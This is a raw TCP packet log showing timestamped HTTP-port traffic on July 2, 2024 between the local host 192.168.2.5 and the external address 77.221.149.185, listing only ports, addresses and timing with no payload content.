Jul 2, 2024 22:52:29.734638929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734663963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734678984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734689951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734698057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734707117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734725952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734755993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734802008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734855890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734864950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734906912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.734957933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734966993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734977007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.734987020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735004902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.735016108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.735157967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735198021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.735425949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735435963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735450029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735471964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.735534906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735544920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735554934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735563993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.735568047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.735599041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.736175060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736185074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736195087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736218929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.736241102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.736372948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736382961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736397028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736407042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.736422062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.736449957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.737241030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737251043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737263918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737287998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737289906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.737297058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737333059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.737334967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737344027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.737390041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738435030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738487005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738495111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738495111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738540888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738599062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738607883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738615990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738626003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738655090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738666058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738676071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738678932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738711119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738744974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738761902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738773108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738781929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738802910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738832951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738842964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738868952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738884926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738893032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.738908052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.738941908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740144968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740154982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740170002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740180969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740191936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740223885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740288973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740299940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740309000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740317106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740322113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740334988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740359068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740492105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740500927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740510941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740530014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740542889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740552902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740561962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.740566969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740576029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.740612984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821156979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821178913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821188927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821233034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821250916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821260929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821271896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821281910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821305037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821377039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821386099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821396112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821405888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821415901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821424007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821425915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821434975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821454048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821480989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821656942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821667910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821676016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821696043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821702957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821712017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821722031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821731091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821738958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821743965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821748972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821758032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821760893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821768999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821777105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821784973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821790934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.821805000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.821826935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.822287083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822295904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822330952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.822338104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822348118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822356939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822366953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822385073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.822410107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.822559118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822567940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822577000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822581053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.822608948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.822635889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823271990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823321104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823329926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823339939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823349953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823355913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823359013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823369026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823384047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823405027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823518991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823585987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823595047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823627949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823659897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823669910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823678017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823693991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823705912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823730946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823911905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823946953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823956966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823964119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.823966026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823976994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823990107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.823999882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824009895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824018955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824026108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824028969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824038029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824047089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824073076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824086905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824125051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824156046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824165106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824172974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824192047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824208975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824644089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824652910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824665070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824673891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824682951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824692965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824695110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.824701071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.824748039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.825150967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825228930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825238943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825288057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.825428963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825438976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825448990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825469017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.825488091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.825515032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.087918997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.087934971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.087948084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.087990046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088001013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088010073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088011026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088020086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088059902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088124037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088135004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088144064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088169098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088175058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088186026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088191986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088196039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088206053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088224888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088238001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088613033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088624001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088633060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088644028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088653088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088659048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088660955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.088669062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.088696003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089097023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089107037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089117050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089126110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089135885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089144945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089144945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089154959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089164972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089174032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089176893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089184046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089194059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089195013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089205027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089215994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089225054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089226007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089235067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089247942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089247942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089265108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089293957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.089366913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.089411974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.090960979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.090971947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.090982914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091006994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091026068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091034889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091047049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091056108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091065884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091075897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091093063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091120005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091213942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091224909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091259956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091265917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091301918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091377974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091388941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091398001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091408968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091418028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091423035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091428041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091439009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091450930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091461897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091633081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091644049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091677904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091789007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091809988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091818094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091829062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091837883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091850042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091852903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091861010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091870070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091878891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091886997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091887951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091888905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091896057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091906071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091916084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091928959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091937065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091948986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091949940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091957092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.091963053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091974020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.091984987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092010021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092458963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092469931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092484951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092499018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092509985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092516899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092519999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092530012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092538118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092545033 CEST	80	49712	77.221.149.185	192.168.2.5
